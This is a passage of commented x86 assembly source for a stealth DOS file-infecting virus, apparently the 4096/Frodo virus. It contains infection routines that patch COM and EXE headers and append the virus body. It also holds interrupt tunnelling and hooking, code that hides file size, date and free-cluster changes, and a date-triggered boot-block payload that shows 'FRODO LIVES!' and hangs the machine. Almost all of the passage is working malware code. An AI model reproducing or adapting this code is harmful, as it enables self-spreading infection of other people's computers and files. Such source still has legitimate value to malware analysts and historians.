                add     dx,cx
                mov     es:[bx+14h],dx          ; alter the entry point CS
                mov     ax,word ptr ds:oldheader+14h
                mov     es:[bx+12h],ax
                mov     ax,word ptr ds:oldheader+0Eh ; alter stack
                add     ax,cx
                mov     es:[bx+10h],ax
                mov     ax,word ptr ds:oldheader+10h
                mov     es:[bx+0Eh],ax
perform_the_execute:
                call    getcurrentPSP
                mov     ds,cs:currentPSP
                mov     ax,[bp+2]               ; restore length as held in
                mov     word ptr ds:oldheader+6,ax
                mov     ax,[bp+4]               ; the EXE header
                mov     word ptr ds:oldheader+8,ax
exit_loadnoexecute:
                jmp     _popall_then_exitint21

getDOSversion:
                mov     byte ptr cs:hide_size,0
                mov     ah,2Ah                  ; Get date
                call    callint21
                cmp     dx,916h                 ; September 22?
                jb      exitDOSversion          ; leave if not
                call    writebootblock          ; this is broken
exitDOSversion:
                jmp     exitotherint21

infect_file:
                call    replaceint13and24
                call    findnextparagraphboundary
                mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
                cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
                je      clearlyisanEXE              ; EXE header
                cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
                je      clearlyisanEXE              ; EXE header
                dec     byte ptr ds:EXEflag         ; if neither, assume is a
                jz      try_infect_com              ; COM file
clearlyisanEXE:
                mov     ax,ds:lengthinpages     ; get file size in pages
                shl     cx,1                    ; and convert it to
                mul     cx                      ; bytes
                add     ax,200h                 ; add 512 bytes
                cmp     ax,si
                jb      go_exit_infect_file
                mov     ax,ds:minmemory         ; make sure min and max memory
                or      ax,ds:maxmemory         ; are not both zero
                jz      go_exit_infect_file
                mov     ax,ds:filesizelow       ; get filesize in dx:ax
                mov     dx,ds:filesizehigh
                mov     cx,200h                 ; convert to pages
                div     cx
                or      dx,dx                   ; filesize multiple of 512?
                jz      filesizemultiple512     ; then don't increment #
                inc     ax                      ; pages
filesizemultiple512:
                mov     ds:lengthinpages,ax     ; put in new values for length
                mov     ds:lengthMOD512,dx      ; fields
                cmp     word ptr ds:initialIP,1 ; check if already infected
                je      exit_infect_file
                mov     word ptr ds:initialIP,1 ; set new entry point
                mov     ax,si                   ; calculate new entry point
                sub     ax,ds:headersize        ; segment
                mov     ds:initialcs,ax         ; put this in for cs
                add     word ptr ds:lengthinpages,8 ; 4K more
                mov     ds:initialSS,ax         ; put entry segment in for SS
                mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
                call    finish_infection
go_exit_infect_file:
                jmp     short exit_infect_file
try_infect_com:
                cmp     si,0F00h                ; make sure file is under
                jae     exit_infect_file        ; F00h paragraphs or else
                                                ; it will be too large once it
                                                ; is infected
                mov     ax,ds:readbuffer        ; first save first 6 bytes
                mov     word ptr ds:oldheader,ax
                add     dx,ax
                mov     ax,ds:readbuffer+2
                mov     word ptr ds:oldheader+2,ax
                add     dx,ax
                mov     ax,ds:readbuffer+4
                mov     word ptr ds:oldheader+4,ax
                add     dx,ax                   ; exit if checksum = 0
                jz      exit_infect_file        ; since then it is already
                                                ; infected
                mov     cl,0E9h                 ; encode jmp instruction
                mov     byte ptr ds:readbuffer,cl
                mov     ax,10h                  ; find file size
                mul     si
                add     ax,offset entervirus-3  ; calculate offset of jmp
                mov     word ptr ds:readbuffer+1,ax ; encode it
                mov     ax,ds:readbuffer        ; checksum it to 0
                add     ax,ds:readbuffer+2
                neg     ax
                mov     ds:readbuffer+4,ax
                call    finish_infection
exit_infect_file:
                mov     ah,3Eh                  ; Close file
                call    callint21
                call    restoreint13and24
                retn


findnextparagraphboundary:
                push    cs
                pop     ds
                mov     ax,5700h                ; Get file time/date
                call    callint21
                mov     ds:filetime,cx
                mov     ds:filedate,dx
                mov     ax,4200h                ; Go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ah,3Fh                  ; Read first 1Ch bytes
                mov     cl,1Ch
                mov     dx,offset readbuffer
                call    callint21
                mov     ax,4200h                ; Go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ah,3Fh                  ; Read first 1Ch bytes
                mov     cl,1Ch
                mov     dx,offset oldheader
                call    callint21
                mov     ax,4202h                ; Go to end of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ds:filesizelow,ax       ; save filesize
                mov     ds:filesizehigh,dx
                mov     di,ax
                add     ax,0Fh                  ; round to nearest paragraph
                adc     dx,0                    ; boundary
                and     ax,0FFF0h
                sub     di,ax                   ; di=# bytes to next paragraph
                mov     cx,10h                  ; normalize filesize
                div     cx                      ; to paragraphs
                mov     si,ax                   ; si = result
                retn


finish_infection:
                mov     ax,4200h                ; Go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     ah,40h                  ; Write new header to file
                mov     cl,1Ch
                mov     dx,offset readbuffer
                call    callint21
                mov     ax,10h                  ; convert paragraph boundary
                mul     si                      ; to a byte value
                mov     cx,dx
                mov     dx,ax
                mov     ax,4200h                ; go to first paragraph
                call    callint21               ; boundary at end of file
                xor     dx,dx
                mov     cx,1000h
                add     cx,di
                mov     ah,40h                  ; Concatenate virus to file
                call    callint21
                mov     ax,5701h                ; Restore file time/date
                mov     cx,ds:filetime
                mov     dx,ds:filedate
                test    dh,80h                  ; check for infection bit
                jnz     highbitset
                add     dh,0C8h                 ; alter if not set yet
highbitset:
                call    callint21
                cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
                jb      exit_finish_infection   ; do not hide the alteration
                                                ; in cluster count
                cmp     byte ptr ds:hideclustercountchange,0
                je      exit_finish_infection
                push    bx
                mov     dl,ds:filedrive
                mov     ah,32h                  ; Get drive parameter block
                call    callint21               ; for drive dl
                mov     ax,cs:numfreeclusters
                mov     [bx+1Eh],ax             ; alter free cluster count
                pop     bx
exit_finish_infection:
                retn


checkFCBokinfect:
                call    saveregs
                mov     di,dx
                add     di,0Dh                  ; skip to extension
                push    ds
                pop     es
                jmp     short performchecksum   ; and check checksum for valid
                                                ; checksum

checkdsdxokinfect:
                call    saveregs
                push    ds
                pop     es
                mov     di,dx
                mov     cx,50h                  ; max filespec length
                xor     ax,ax
                mov     bl,0                    ; default drive
                cmp     byte ptr [di+1],':'     ; Is there a drive spec?
                jne     ondefaultdrive          ; nope, skip it
                mov     bl,[di]                 ; yup, get drive
                and     bl,1Fh                  ; and convert to number
ondefaultdrive:
                mov     cs:filedrive,bl
                repne   scasb                   ; find terminating 0 byte
performchecksum:
                mov     ax,[di-3]
                and     ax,0DFDFh               ; convert to uppercase
                add     ah,al
                mov     al,[di-4]
                and     al,0DFh                 ; convert to uppercase
                add     al,ah
                mov     byte ptr cs:EXEflag,0   ; assume COM file
                cmp     al,0DFh                 ; COM checksum?
                je      COMchecksum
                inc     byte ptr cs:EXEflag     ; assume EXE file
                cmp     al,0E2h                 ; EXE checksum?
                jne     otherchecksum
COMchecksum:
                call    restoreregs
                clc                             ; mark no error
                retn
otherchecksum:
                call    restoreregs
                stc                             ; mark error
                retn


getcurrentPSP:
                push    bx
                mov     ah,51h                  ; Get current PSP segment
                call    callint21
                mov     cs:currentPSP,bx        ; store it
                pop     bx
                retn


setup_infection:
                call    replaceint13and24
                push    dx
                mov     dl,cs:filedrive
                mov     ah,36h                  ; Get disk free space
                call    callint21
                mul     cx                      ; ax = bytes per cluster
                mul     bx                      ; dx:ax = bytes free space
                mov     bx,dx
                pop     dx
                or      bx,bx                   ; less than 65536 bytes free?
                jnz     enough_free_space       ; hopefully not
                cmp     ax,4000h                ; exit if less than 16384
                jb      exit_setup_infection    ; bytes free
enough_free_space:
                mov     ax,4300h                ; Get file attributes
                call    callint21
                jc      exit_setup_infection    ; exit on error
                mov     di,cx                   ; di = attributes
                xor     cx,cx
                mov     ax,4301h                ; Clear file attributes
                call    callint21
                cmp     byte ptr cs:errorflag,0 ; check for errors
                jne     exit_setup_infection
                mov     ax,3D02h                ; Open file read/write
                call    callint21
                jc      exit_setup_infection    ; exit on error
                mov     bx,ax                   ; move handle to bx
                                                ; xchg bx,ax is superior
                mov     cx,di
                mov     ax,4301h                ; Restore file attributes
                call    callint21
                push    bx
                mov     dl,cs:filedrive         ; Get file's drive number
                mov     ah,32h                  ; Get drive parameter block
                call    callint21               ; for disk dl
                mov     ax,[bx+1Eh]             ; Get free cluster count
                mov     cs:numfreeclusters,ax   ; and save it
                pop     bx                      ; return handle
                call    restoreint13and24
                retn
exit_setup_infection:
                xor     bx,bx
                dec     bx                      ; return bx=-1 on error
                call    restoreint13and24
                retn


checkforinfection:
                push    cx
                push    dx
                push    ax
                mov     ax,4400h                ; Get device information
                call    callint21               ; (set hide_size = 2)
                xor     dl,80h
                test    dl,80h                  ; Character device?  If so,
                jz      exit_checkforinfection  ; exit; cannot be infected
                mov     ax,5700h                ; Otherwise get time/date
                call    callint21
                test    dh,80h                  ; Check year bit for infection
exit_checkforinfection:
                pop     ax
                pop     dx
                pop     cx
                retn

obtainfilesize:
                call    saveregs
                mov     ax,4201h                ; Get current file position
                xor     cx,cx
                xor     dx,dx
                call    callint21
                mov     cs:curfileposlow,ax
                mov     cs:curfileposhigh,dx
                mov     ax,4202h                ; Go to end of file
                xor     cx,cx
                xor     dx,dx
                call    callint21
                mov     cs:filesizelow,ax
                mov     cs:filesizehigh,dx
                mov     ax,4200h                ; Return to file position
                mov     dx,cs:curfileposlow
                mov     cx,cs:curfileposhigh
                call    callint21
                call    restoreregs
                retn

getsetfiletimedate:
                or      al,al                   ; Get time/date?
                jnz     checkifsettimedate      ; if not, see if Set time/date
                and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
                call    _popall
                call    callint21
                jc      gettimedate_error       ; exit on error
                test    dh,80h                  ; check year bit if infected
                jz      gettimedate_notinfected
                sub     dh,0C8h                 ; if so, hide change
gettimedate_notinfected:
                jmp     exitint21
gettimedate_error:
                or      word ptr cs:int21flags,1; turn on trap flag
                jmp     exitint21
checkifsettimedate:
                cmp     al,1                    ; Set time/date?
                jne     exit_filetimedate_pointer
                and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
                test    dh,80h                  ; Infection bit set?
                jz      set_yearbitset
                sub     dh,0C8h                 ; clear infection bit
set_yearbitset:
                call    checkforinfection
                jz      set_datetime_nofinagle
                add     dh,0C8h                 ; set infection flag
set_datetime_nofinagle:
                call    callint21
                mov     [bp-4],ax
                adc     word ptr cs:int21flags,0; turn on/off trap flag
                jmp     _popall_then_exitint21  ; depending on result

handlemovefilepointer:
                cmp     al,2
                jne     exit_filetimedate_pointer
                call    checkforinfection
                jz      exit_filetimedate_pointer
                sub     word ptr [bp-0Ah],1000h ; hide file size
                sbb     word ptr [bp-8],0
exit_filetimedate_pointer:
                jmp     exitotherint21

handleread:
                and     byte ptr cs:int21flags,0FEh ; clear trap flag
                call    checkforinfection           ; exit if it is not
                jz      exit_filetimedate_pointer   ; infected -- no need
                                                    ; to do stealthy stuff
                mov     cs:savelength,cx
                mov     cs:savebuffer,dx
                mov     word ptr cs:return_code,0
                call    obtainfilesize
                mov     ax,cs:filesizelow       ; store the file size
                mov     dx,cs:filesizehigh
                sub     ax,1000h                ; get uninfected file size
                sbb     dx,0
                sub     ax,cs:curfileposlow     ; check if currently in
                sbb     dx,cs:curfileposhigh    ; virus code
                jns     not_in_virus_body       ; continue if not
                mov     word ptr [bp-4],0       ; set return code = 0
                jmp     handleopenclose_exit
not_in_virus_body:
                jnz     not_reading_header
                cmp     ax,cx                   ; reading from header?
                ja      not_reading_header
                mov     cs:savelength,ax        ; # bytes into header
not_reading_header:
                mov     dx,cs:curfileposlow
                mov     cx,cs:curfileposhigh
                or      cx,cx                   ; if reading > 64K into file,
                jnz     finish_reading          ; then no problems
                cmp     dx,1Ch                  ; if reading from header, then
                jbe     reading_from_header     ; do stealthy stuff
finish_reading:
                mov     dx,cs:savebuffer
                mov     cx,cs:savelength
                mov     ah,3Fh                  ; read file
                call    callint21
                add     ax,cs:return_code       ; ax = bytes read
                mov     [bp-4],ax               ; set return code properly
                jmp     _popall_then_exitint21
reading_from_header:
                mov     si,dx
                mov     di,dx
                add     di,cs:savelength
                cmp     di,1Ch                  ; reading all of header?
                jb      read_part_of_header     ; nope, calculate how much
                xor     di,di
                jmp     short do_read_from_header
read_part_of_header:
                sub     di,1Ch
                neg     di
do_read_from_header:
                mov     ax,dx
                mov     cx,cs:filesizehigh      ; calculate location in
                mov     dx,cs:filesizelow       ; the file of the virus
                add     dx,0Fh                  ; storage area for the
                adc     cx,0                    ; original 1Ch bytes of
                and     dx,0FFF0h               ; the file
                sub     dx,0FFCh
                sbb     cx,0
                add     dx,ax
                adc     cx,0
                mov     ax,4200h                ; go to that location
                call    callint21
                mov     cx,1Ch
                sub     cx,di
                sub     cx,si
                mov     ah,3Fh                  ; read the original header
                mov     dx,cs:savebuffer
                call    callint21
                add     cs:savebuffer,ax
                sub     cs:savelength,ax
                add     cs:return_code,ax
                xor     cx,cx                   ; go past the virus's header
                mov     dx,1Ch
                mov     ax,4200h
                call    callint21
                jmp     finish_reading          ; and continue the reading

handlewrite:
                and     byte ptr cs:int21flags,0FEh ; turn off trap flag
                call    checkforinfection
                jnz     continue_handlewrite
                jmp     exit_filetimedate_pointer
continue_handlewrite:
                mov     cs:savelength,cx
                mov     cs:savebuffer,dx
                mov     word ptr cs:return_code,0
                call    obtainfilesize
                mov     ax,cs:filesizelow
                mov     dx,cs:filesizehigh
                sub     ax,1000h                ; calculate original file
                sbb     dx,0                    ; size
                sub     ax,cs:curfileposlow     ; writing from inside the
                sbb     dx,cs:curfileposhigh    ; virus?
                js      finish_write            ; if not, we can continue
                jmp     short write_inside_virus; otherwise, fixup some stuff
finish_write:
                call    replaceint13and24
                push    cs
                pop     ds
                mov     dx,ds:filesizelow       ; calculate location in file
                mov     cx,ds:filesizehigh      ; of the virus storage of the
                add     dx,0Fh                  ; original 1Ch bytes of the
                adc     cx,0                    ; file
                and     dx,0FFF0h
                sub     dx,0FFCh
                sbb     cx,0
                mov     ax,4200h
                call    callint21
                mov     dx,offset oldheader
                mov     cx,1Ch
                mov     ah,3Fh                  ; read original header
                call    callint21
                mov     ax,4200h                ; go to beginning of file
                xor     cx,cx
                mov     dx,cx
                call    callint21
                mov     dx,offset oldheader
                mov     cx,1Ch
                mov     ah,40h                  ; write original header to
                call    callint21               ; the file
                mov     dx,0F000h               ; go back 4096 bytes
                mov     cx,0FFFFh               ; from the end of the
                mov     ax,4202h                ; file and
                call    callint21
                mov     ah,40h                  ; truncate the file
                xor     cx,cx                   ; at that position
                call    callint21
                mov     dx,ds:curfileposlow     ; Go to current file position
                mov     cx,ds:curfileposhigh
                mov     ax,4200h
                call    callint21
                mov     ax,5700h                ; Get file time/date
                call    callint21
                test    dh,80h
                jz      high_bit_aint_set
                sub     dh,0C8h                 ; restore file date
                mov     ax,5701h                ; put it onto the disk
                call    callint21
high_bit_aint_set:
                call    restoreint13and24
                jmp     exitotherint21
write_inside_virus:
                jnz     write_inside_header     ; write from start of file?
                cmp     ax,cx
                ja      write_inside_header     ; write from inside header?
                jmp     finish_write

write_inside_header:
                mov     dx,cs:curfileposlow
                mov     cx,cs:curfileposhigh
                or      cx,cx                   ; Reading over 64K?
                jnz     writemorethan1Chbytes
                cmp     dx,1Ch                  ; Reading over 1Ch bytes?
                ja      writemorethan1Chbytes
                jmp     finish_write
writemorethan1Chbytes:
                call    _popall
                call    callint21               ; chain to int 21h
                                                ; (allow write to take place)
                call    _pushall
                mov     ax,5700h                ; Get file time/date
                call    callint21
                test    dh,80h
                jnz     _popall_then_exitint21_
                add     dh,0C8h
                mov     ax,5701h                ; restore file date
                call    callint21
_popall_then_exitint21_:
                jmp     _popall_then_exitint21

                jmp     exitotherint21

int13:
                pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
                pop     word ptr cs:int13tempCSIP+2 ; the stack
                pop     word ptr cs:int13flags
                and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
                cmp     byte ptr cs:errorflag,0 ; any errors yet?
                jne     exitint13error          ; yes, already an error
                push    word ptr cs:int13flags
                call    dword ptr cs:origints
                jnc     exitint13
                inc     byte ptr cs:errorflag   ; mark error
exitint13error:
                stc                             ; mark error
exitint13:
                jmp     dword ptr cs:int13tempCSIP ; return to caller

int24:
                xor     al,al                   ; ignore error
                mov     byte ptr cs:errorflag,1 ; mark error
                iret

replaceint13and24:
                mov     byte ptr cs:errorflag,0 ; clear errors
                call    saveregs
                push    cs
                pop     ds
                mov     al,13h                  ; save int 13 handler
                call    getint
                mov     word ptr ds:origints,bx
                mov     word ptr ds:origints+2,es
                mov     word ptr ds:oldint13,bx
                mov     word ptr ds:oldint13+2,es
                mov     dl,0
                mov     al,0Dh                  ; fixed disk interrupt
                call    getint
                mov     ax,es
                cmp     ax,0C000h               ; is there a hard disk?
                jae     harddiskpresent         ; C000+ is in BIOS
                mov     dl,2
harddiskpresent:
                mov     al,0Eh                  ; floppy disk interrupt
                call    getint
                mov     ax,es
                cmp     ax,0C000h               ; check if floppy
                jae     floppypresent
                mov     dl,2
floppypresent:
                mov     ds:tracemode,dl
                call    replaceint1
                mov     ds:savess,ss            ; save stack
                mov     ds:savesp,sp
                push    cs                      ; save these on stack for
                mov     ax,offset setvirusints  ; return to setvirusints
                push    ax
                mov     ax,70h
                mov     es,ax
                mov     cx,0FFFFh
                mov     al,0CBh                 ; retf
                xor     di,di
                repne   scasb                   ;scan es:di for retf statement
                dec     di                      ; es:di->retf statement
                pushf
                push    es                      ; set up stack for iret to
                push    di                      ; the retf statement which
                                                ; will cause transfer of
                                                ; control to setvirusints
                pushf
                pop     ax
                or      ah,1                    ; turn on the trap flag
                push    ax
                in      al,21h                  ; save IMR in temporary
                mov     ds:saveIMR,al           ; buffer and then
                mov     al,0FFh                 ; disable all the
                out     21h,al                  ; interrupts
                popf
                xor     ax,ax                   ; reset disk
                jmp     dword ptr ds:origints   ; (int 13h call)
                                                ; then transfer control to
setvirusints:                                   ; setvirusints
                lds     dx,dword ptr ds:oldint1
                mov     al,1                    ; restore old int 1 handler
                call    setvect
                push    cs
                pop     ds
                mov     dx,offset int13         ; replace old int 13h handler
                mov     al,13h                  ; with virus's
                call    setvect
                mov     al,24h                  ; Get old critical error
                call    getint                  ; handler and save its
                mov     word ptr ds:oldint24,bx ; location
                mov     word ptr ds:oldint24+2,es
                mov     dx,offset int24
                mov     al,24h                  ; Replace int 24 handler
                call    setvect                 ; with virus's handler
                call    restoreregs
                retn


restoreint13and24:
                call    saveregs
                lds     dx,dword ptr cs:oldint13
                mov     al,13h
                call    setvect
                lds     dx,dword ptr cs:oldint24
                mov     al,24h
                call    setvect
                call    restoreregs
                retn


disableBREAK:
                mov     ax,3300h                ; Get current BREAK setting
                call    callint21
                mov     cs:BREAKsave,dl
                mov     ax,3301h                ; Turn BREAK off
                xor     dl,dl
                call    callint21
                retn


restoreBREAK:
                mov     dl,cs:BREAKsave
                mov     ax,3301h                ; restore BREAK setting
                call    callint21
                retn


_pushall:
                pop     word ptr cs:pushpopalltempstore
                pushf
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                jmp     word ptr cs:pushpopalltempstore

swapvirint21:
                les     di,dword ptr cs:oldint21; delve into original int
                mov     si,offset jmpfarptr     ; handler and swap the first
                push    cs                      ; 5 bytes.  This toggles it
                pop     ds                      ; between a jmp to the virus
                cld                             ; code and the original 5
                mov     cx,5                    ; bytes of the int handler
swapvirint21loop:                               ; this is a tunnelling method
                lodsb                           ; if I ever saw one
                xchg    al,es:[di]              ; puts the bytes in DOS's
                mov     [si-1],al               ; int 21h handler
                inc     di
                loop    swapvirint21loop

                retn


_popall:
                pop     word ptr cs:pushpopalltempstore
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                popf
                jmp     word ptr cs:pushpopalltempstore

restoreregs:
                mov     word ptr cs:storecall,offset _popall
                jmp     short do_saverestoreregs

saveregs:
                mov     word ptr cs:storecall,offset _pushall
do_saverestoreregs:
                mov     cs:storess,ss           ; save stack
                mov     cs:storesp,sp
                push    cs
                pop     ss
                mov     sp,cs:stackptr          ; set new stack
                call    word ptr cs:storecall
                mov     cs:stackptr,sp          ; update internal stack ptr
                mov     ss,cs:storess           ; and restore stack to
                mov     sp,cs:storesp           ; caller program's stack
                retn


replaceint1:
                mov     al,1                    ; get the old interrupt
                call    getint                  ; 1 handler and save it
                mov     word ptr cs:oldint1,bx  ; for later restoration
                mov     word ptr cs:oldint1+2,es
                push    cs
                pop     ds
                mov     dx,offset int1          ; set int 1 handler to
                call    setvect                 ; the virus int handler
                retn

allocatememory:
                call    allocate_memory
                jmp     exitotherint21

allocate_memory:
                cmp     byte ptr cs:checkres,0  ; installed check
                je      exitallocate_memory     ; exit if installed
                cmp     bx,0FFFFh               ; finding total memory?
                jne     exitallocate_memory     ; (virus trying to install?)
                mov     bx,160h                 ; allocate memory to virus
                call    callint21
                jc      exitallocate_memory     ; exit on error
                mov     dx,cs
                cmp     ax,dx
                jb      continue_allocate_memory
                mov     es,ax
                mov     ah,49h                  ; Free memory
                call    callint21
                jmp     short exitallocate_memory
continue_allocate_memory:
                dec     dx                      ; get segment of MCB
                mov     ds,dx
                mov     word ptr ds:[1],0       ; mark unused MCB
                inc     dx                      ; go to memory area
                mov     ds,dx
                mov     es,ax
                push    ax
                mov     word ptr cs:int21store+2,ax ; fixup segment
                xor     si,si
                mov     di,si
                mov     cx,0B00h
                rep     movsw                   ; copy virus up there
                dec     ax                      ; go to MCB
                mov     es,ax
                mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
                mov     es:[1],ax               ; make vir ID = DOS PSP ID
                mov     ax,offset exitallocate_memory
                push    ax
                retf

exitallocate_memory:
                retn

get_device_info:
                mov     byte ptr cs:hide_size,2
                jmp     exitotherint21

callint21: ; call original int 21h handler (tunnelled)
                pushf
                call    dword ptr cs:oldint21
                retn

bootblock:
                cli
                xor     ax,ax                   ; set new stack just below
                mov     ss,ax                   ; start of load area for
                mov     sp,7C00h                ; boot block
                jmp     short enter_bootblock
borderchars     db      '███ '

FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
                db      11111001b,11100000b,11100011b,11000011b,10000000b
                db      10000001b,00010001b,00010010b,00100100b,01000000b
                db      10000001b,00010001b,00010010b,00100100b,01000000b
                db      11110001b,11110001b,00010010b,00100100b,01000000b
                db      10000001b,00100001b,00010010b,00100100b,01000000b
                db      10000001b,00010000b,11100011b,11000011b,10000000b
                db      00000000b,00000000b,00000000b,00000000b,00000000b
                db      00000000b,00000000b,00000000b,00000000b,00000000b
                db      10000010b,01000100b,11111000b,01110000b,11000000b
                db      10000010b,01000100b,10000000b,10001000b,11000000b
                db      10000010b,01000100b,10000000b,10000000b,11000000b
                db      10000010b,01000100b,11110000b,01110000b,11000000b
                db      10000010b,00101000b,10000000b,00001000b,11000000b
                db      10000010b,00101000b,10000000b,10001000b,00000000b
                db      11110010b,00010000b,11111000b,01110000b,11000000b
enter_bootblock:
                push    cs
                pop     ds
                mov     dx,0B000h               ; get video page in bh
                mov     ah,0Fh                  ; get video mode in al
                int     10h                     ; get columns in ah

                cmp     al,7                    ; check if colour
                je      monochrome
                mov     dx,0B800h               ; colour segment
monochrome:
                mov     es,dx                   ; es->video segment
                cld
                xor     di,di
                mov     cx,25*80                ; entire screen
                mov     ax,720h                 ; ' ', normal attribute
                rep     stosw                   ; clear the screen
                mov     si,7C00h+FRODO_LIVES-bootblock
                mov     bx,2AEh
morelinestodisplay:
                mov     bp,5
                mov     di,bx
displaymorebackgroundontheline:
                lodsb                           ; get background pattern
                mov     dh,al
                mov     cx,8

displayinitialbackground:
                mov     ax,720h
                shl     dx,1
                jnc     spacechar
                mov     al,'█'
spacechar:
                stosw
                loop    displayinitialbackground

                dec     bp
                jnz     displaymorebackgroundontheline
                add     bx,80*2                 ; go to next line
                cmp     si,7C00h+enter_bootblock-bootblock
                jb      morelinestodisplay
                mov     ah,1                    ; set cursor mode to cx
                int     10h

                mov     al,8                    ; set new int 8 handler
                mov     dx,7C00h+int8-bootblock ; to spin border
                call    setvect
                mov     ax,7FEh                 ; enable timer interrupts only
                out     21h,al

                sti
                xor     bx,bx
                mov     cx,1
                jmp     short $                 ; loop forever while
                                                ; spinning the border

int8:                                           ; the timer interrupt spins
                dec     cx                      ; the border
                jnz     endint8
                xor     di,di
                inc     bx
                call    spin_border
                call    spin_border
                mov     cl,4                    ; wait 4 more ticks until
endint8:                                        ; next update
                mov     al,20h                  ; Signal end of interrupt
                out     20h,al
                iret

spin_border:
                mov     cx,28h                  ; do 40 characters across

dohorizontal:
                call    lookup_border_char
                stosw
                stosw
                loop    dohorizontal
patch2:
                add     di,9Eh                  ; go to next line
                mov     cx,17h                  ; do for next 23 lines

dovertical:                                     ; handle vertical borders
                call    lookup_border_char      ; get border character
                stosw                           ; print it on screen
patch3:
                add     di,9Eh                  ; go to next line
                loop    dovertical
patch1:
                std
        ; this code handles the other half of the border
                xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
                xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
                xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
                retn


lookup_border_char:
                and     bx,3                    ; find corresponding border
                mov     al,ds:[bx+7C00h+borderchars-bootblock]
                inc     bx                      ; character
                retn


setvect:
                push    es
                push    bx
                xor     bx,bx
                mov     es,bx
                mov     bl,al                   ; int # to bx
                shl     bx,1                    ; int # * 4 = offset in
                shl     bx,1                    ; interrupt table
                mov     es:[bx],dx              ; set the vector in the
                mov     es:[bx+2],ds            ; interrupt table
                pop     bx
                pop     es
                retn


writebootblock: ; this is an unfinished subroutine; it doesn't work properly
                call    replaceint13and24
                mov     dl,80h
                db      0E8h, 08h, 00h, 32h,0D2h,0E8h
                db       03h, 01h, 00h, 9Ah, 0Eh, 32h
                db       08h, 70h, 00h, 33h, 0Eh, 2Eh
                db       03h, 6Ch, 15h, 03h, 00h, 26h
                db       00h, 00h, 00h, 21h, 00h, 50h
                db       12h, 65h, 14h, 82h, 08h, 00h
                db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
                db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
                db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
                db       00h,0E2h, 0Ch, 50h

                org 1200h
readbuffer      dw      ? ; beginning of the read buffer
lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
lengthinpages   dw      ? ; EXE header item - length of image in pages
relocationitems dw      ? ; EXE header item - # relocation items
headersize      dw      ? ; EXE header item - header size in paragraphs
minmemory       dw      ? ; EXE header item - minimum memory allocation
maxmemory       dw      ? ; EXE header item - maximum memory allocation
initialSS       dw      ? ; EXE header item - initial SS value
initialSP       dw      ? ; EXE header item - initial SP value
wordchecksum    dw      ? ; EXE header item - checksum value
initialIP       dw      ? ; EXE header item - initial IP value
initialCS       dw      ? ; EXE header item - initial CS value
                db      12 dup (?) ; rest of header - unused
parmblock       dd      ? ; address of parameter block
filedrive       db      ? ; 0 = default drive
filetime        dw      ? ; saved file time
filedate        dw      ? ; saved file date
origints        dd      ? ; temporary scratch buffer for interrupt vectors
oldint1         dd      ? ; original interrupt 1 vector
oldint21        dd      ? ; original interrupt 21h vector
oldint13        dd      ? ; original interrupt 13h vector
oldint24        dd      ? ; original interrupt 24h vector
int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
carrierPSP      dw      ? ; carrier file PSP segment
DOSsegment      dw      ? ; segment of DOS list of lists
ownerfirstMCB   dw      ? ; owner of the first MCB
jmpfarptr       db      ? ; 0eah, jmp far ptr
int21store      dd      ? ; temporary storage for other 4 bytes
                          ; and for pointer to virus int 21h
tracemode       db      ? ; trace mode
instructionstotrace  db ? ; number of instructions to trace
handletable     dw      28h dup (?) ; array of handles
handlesleft     db      ? ; entries left in table
currentPSP      dw      ? ; storage for the current PSP segment
curfileposlow   dw      ? ; current file pointer location, low word
curfileposhigh  dw      ? ; current file pointer location, high word
filesizelow     dw      ? ; current file size, low word
filesizehigh    dw      ? ; current file size, high word
savebuffer      dw      ? ; storage for handle read, etc.
savelength      dw      ? ; functions
return_code     dw      ? ; returned in AX on exit of int 21h
int21flags      dw      ? ; storage of int 21h return flags register
tempFCB         db      25h dup (?) ; copy of the FCB
errorflag       db      ? ; 0 if no error, 1 if error
int13flags      dw      ? ; storage of int 13h return flags register
savess          dw      ? ; temporary storage of stack segment
savesp          dw      ? ; and stack pointer
BREAKsave       db      ? ; current BREAK state
checkres        db      ? ; already installed flag
initialax       dw      ? ; AX upon entry to carrier
saveIMR         db      ? ; storage for interrupt mask register
saveoffset      dw      ? ; temp storage of CS:IP of
savesegment     dw      ? ; caller to int 21h
pushpopalltempstore  dw ? ; push/popall caller address
numfreeclusters dw      ? ; total free clusters
DOSversion      db      ? ; current DOS version
hideclustercountchange db ? ; flag of whether to hide free cluster count
hide_size       db      ? ; hide filesize increase if equal to 0
copyparmblock   db      0eh dup (?) ; copy of the parameter block
origsp          dw      ? ; temporary storage of stack pointer
origss          dw      ? ; and stack segment
origcsip        dd      ? ; temporary storage of caller CS:IP
copyfilename    db      50h dup (?) ; copy of filename
storesp         dw      ? ; temporary storage of stack pointer
storess         dw      ? ; and stack segment
stackptr        dw      ? ; register storage stack pointer
storecall       dw      ? ; temporary storage of function offset

topstack = 1600h

_4096           ends
                end